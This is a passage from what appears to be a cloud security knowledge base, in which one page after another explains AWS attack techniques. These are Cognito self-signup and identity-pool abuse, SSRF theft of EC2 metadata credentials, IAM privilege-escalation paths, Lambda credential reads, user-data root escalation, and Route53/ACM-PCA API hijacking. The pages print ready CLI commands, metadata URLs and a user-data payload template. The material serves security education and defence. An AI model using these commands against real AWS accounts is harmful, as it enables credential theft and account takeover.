Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#how-it-works","title":"How it works","text":"

The process usually involves two key steps:

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#identity-retrieval","title":"Identity Retrieval:","text":"

This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#excessive-privileges-exploitation","title":"Excessive Privileges Exploitation:","text":"

The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation","title":"Exploitation","text":"

The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}\n
and then:
aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}\n

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#impact","title":"Impact","text":"

The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.

However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.

"},{"location":"aws/exploitation/cognito_user_self_signup/","title":"Unintended Self-Signup in AWS Cognito","text":"
  • Additional Resources

    • CloudGoat Scenario: vulnerable_cognito

A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If \"Admin Only\" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

"},{"location":"aws/exploitation/cognito_user_self_signup/#how-it-works","title":"How it works","text":"

Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

"},{"location":"aws/exploitation/cognito_user_self_signup/#web-applications","title":"Web applications:","text":"

An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

  1. Opening the web application in a web browser.
  2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
  3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

"},{"location":"aws/exploitation/cognito_user_self_signup/#mobile-applications","title":"Mobile applications:","text":"

Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

  1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
  2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
  3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.
"},{"location":"aws/exploitation/cognito_user_self_signup/#exploitation","title":"Exploitation","text":"

Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}\n

If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.

$ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}\n
"},{"location":"aws/exploitation/cognito_user_self_signup/#impact","title":"Impact","text":"

The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways.

Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.

In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.

"},{"location":"aws/exploitation/ec2-metadata-ssrf/","title":"Steal EC2 Metadata Credentials via SSRF","text":"

Note

This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

"},{"location":"aws/exploitation/ec2-metadata-ssrf/#stealing-iam-credentials-from-the-instance-metadata-service","title":"Stealing IAM Credentials from the Instance Metadata Service","text":"

If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

Note

An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

"},{"location":"aws/exploitation/ec2-metadata-ssrf/#additional-resources","title":"Additional Resources","text":"

For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

"},{"location":"aws/exploitation/iam_privilege_escalation/","title":"AWS IAM Privilege Escalation Techniques","text":"
  • Original Research

    AWS IAM Privilege Escalation \u2013 Methods and Mitigation by Spencer Gietzen

  • Additional Resources

    • AWS IAM Privilege Escalation Methods
    • Well, That Escalated Quickly: Privilege Escalation in AWS by Gerben Kleijn

Note

If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

"},{"location":"aws/exploitation/iam_privilege_escalation/#codestarcreateproject-codestarassociateteammember","title":"codestar:CreateProject, codestar:AssociateTeamMember","text":"

With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

"},{"location":"aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint","title":"glue:UpdateDevEndpoint","text":"

With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamaddusertogroup","title":"iam:AddUserToGroup","text":"

With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy","title":"iam:AttachGroupPolicy","text":"

With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy","title":"iam:AttachRolePolicy","text":"

With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy","title":"iam:AttachUserPolicy","text":"

With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey","title":"iam:CreateAccessKey","text":"

With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile","title":"iam:CreateLoginProfile","text":"

With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion","title":"iam:CreatePolicyVersion","text":"

With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepermissionsboundary","title":"iam:DeleteRolePermissionsBoundary","text":"

With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepolicy","title":"iam:DeleteRolePolicy","text":"

With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpermissionsboundary","title":"iam:DeleteUserPermissionsBoundary","text":"

With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpolicy","title":"iam:DeleteUserPolicy","text":"

With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachrolepolicy","title":"iam:DetachRolePolicy","text":"

With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachuserpolicy","title":"iam:DetachUserPolicy","text":"

With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,","text":"

With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate","text":"

With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack","title":"iam:PassRole, cloudformation:CreateStack","text":"

With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-codestarcreateproject","title":"iam:PassRole, codestar:CreateProject","text":"

With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition","title":"iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition","text":"

With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances","title":"iam:PassRole, ec2:RunInstances","text":"

With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

This can be taken advantage of with the following one-liner:

Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint","title":"iam:PassRole, glue:CreateDevEndpoint","text":"

With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob","title":"iam:PassRole, glue:CreateJob","text":"

With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob","title":"iam:PassRole, glue:UpdateJob","text":"

With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdaaddpermission-lambdacreatefunction","title":"iam:PassRole, lambda:AddPermission, lambda:CreateFunction","text":"

With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction","title":"iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction","text":"

With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction","title":"iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction","text":"

With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy","title":"iam:PutGroupPolicy","text":"

With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepermissionsboundary","title":"iam:PutRolePermissionsBoundary","text":"

With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepolicy","title":"iam:PutRolePolicy","text":"

With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpermissionsboundary","title":"iam:PutUserPermissionsBoundary","text":"

With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpolicy","title":"iam:PutUserPolicy","text":"

With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamsetdefaultpolicyversion","title":"iam:SetDefaultPolicyVersion","text":"

With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy","title":"iam:UpdateAssumeRolePolicy","text":"

With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile","title":"iam:UpdateLoginProfile","text":"

With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode","title":"lambda:UpdateFunctionCode","text":"

With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctionconfiguration","title":"lambda:UpdateFunctionConfiguration","text":"

With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

"},{"location":"aws/exploitation/lambda-steal-iam-credentials/","title":"Steal IAM Credentials and Event Data from Lambda","text":"
  • Technique seen in the wild

    Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because \"everything is a file\".

IAM credentials can be accessed via reading /proc/self/environ.

Note

In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

This will include information about what invoked the Lambda function and may be valuable depending on the context.

Note

Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/","title":"EC2 Privilege Escalation Through User Data","text":"

If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute","title":"ec2:ModifyInstanceAttribute","text":"
  • Required IAM Permissions

    • ec2:ModifyInstanceAttribute
  • Recommended but not Required IAM Permissions

    • ec2:StartInstances
    • ec2:DescribeInstances
    • ec2:StopInstances
  • Original Research

    aws_pwn:elevation by Daniel Grzelak

If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

To do this, first create a file in the following format.

Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n**commands here**\n--//\n

Modify the commands here section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.

Once you've done that, convert the file to base64. Linux can do this with the following command.

base64 file.txt > file.b64.txt

Windows can do this with the following command.

certutil -encode file.txt tmp.b64 && findstr /v /c:- tmp.b64 > file.b64.txt

Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance.

Note

The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.

aws ec2 modify-instance-attribute \\\n--instance-id=xxx \\\n--attribute userData \\\n--value file://file.b64.txt\n

With that change made, simply start the instance again and your command will be executed with root/System.

"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#leverage-scripts-in-s3","title":"Leverage scripts in S3","text":"

A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.

If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.

Take the following user data script:

#!/bin/bash\naws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh\nchmod +x /root/start_script.sh\n/root/start_script.sh\n

On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.

Note

In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.

"},{"location":"aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/","title":"DNS and CloudFront Domain Takeover via Deleted S3 Buckets","text":"
  • Additional Resources

    Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover

  • Tools mentioned in this article

    domain-protect: OWASP Domain Protect - prevent subdomain takeover.

Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

Note

Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

<Error>\n<Code>NoSuchBucket</Code>\n<Message>The specified bucket does not exist</Message>\n<BucketName>hackingthe.cloud</BucketName>\n<RequestId>68M9C1KTARF9FBYN</RequestId>\n<HostId>RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=</HostId>\n</Error>\n

This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a NotFound error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.

If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.

While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.

Tip

Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.

"},{"location":"aws/exploitation/route53_modification_privilege_escalation/","title":"AWS API Call Hijacking via ACM-PCA","text":"
  • Required IAM Permissions

    • route53:CreateHostedZone
    • route53:ChangeResourceRecordSets
    • acm-pca:IssueCertificate
    • acm-pca:GetCertificate
  • Recommended but not Required IAM Permissions

    • route53:GetHostedZone
    • route53:ListHostedZones
    • acm-pca:ListCertificateAuthorities
    • ec2:DescribeVpcs
  • Original Research

    Hijacking AWS API calls by niebardzo

Note

To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

This is possible because:

  • AWS SDKs do not have Certificate Pinning
  • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
  • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>\n

Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:

{\n  \"Comment\": \"<anything>\",\n  \"Changes\": [{\n    \"Action\": \"UPSERT\",\n    \"ResourceRecordSet\": {\n      \"Name\": \"secretsmanager.us-east-1.amazonaws.com\",\n      \"Type\": \"A\",\n      \"TTL\": 0,\n      \"ResourceRecords\": [{\"Value\": \"<ip_of_adversary_instance_in_the_VPC>\"}]\n    }\n  }]\n}\n

One set TTL to 0 to avoid DNS caching. Then, the advisory uses this payload to change-resource-record-sets:

aws route53 change-resource-record-sets --hosted-zone-id <id_returned_by_previous_API_call> --change-batch file://mitm.json\n

Now, the adversary must generate the CSR and send it for signing to the ACM-PCA, CSR and private key can be generated with OpenSSL:

openssl req -new -newkey rsa:2048 -nodes -keyout your_domain.key -out your_domain.csr\n

For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate:

aws acm-pca issue-certificate --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type=\"DAYS\" --idempotency-token 1234\n

It returns the signed certificate ARN in the response. The next call is to fetch the certificate.

aws acm-pca get-certificate --certificate-arn \"<cert_arn_from_previous_response>\" --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\"\n

Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com

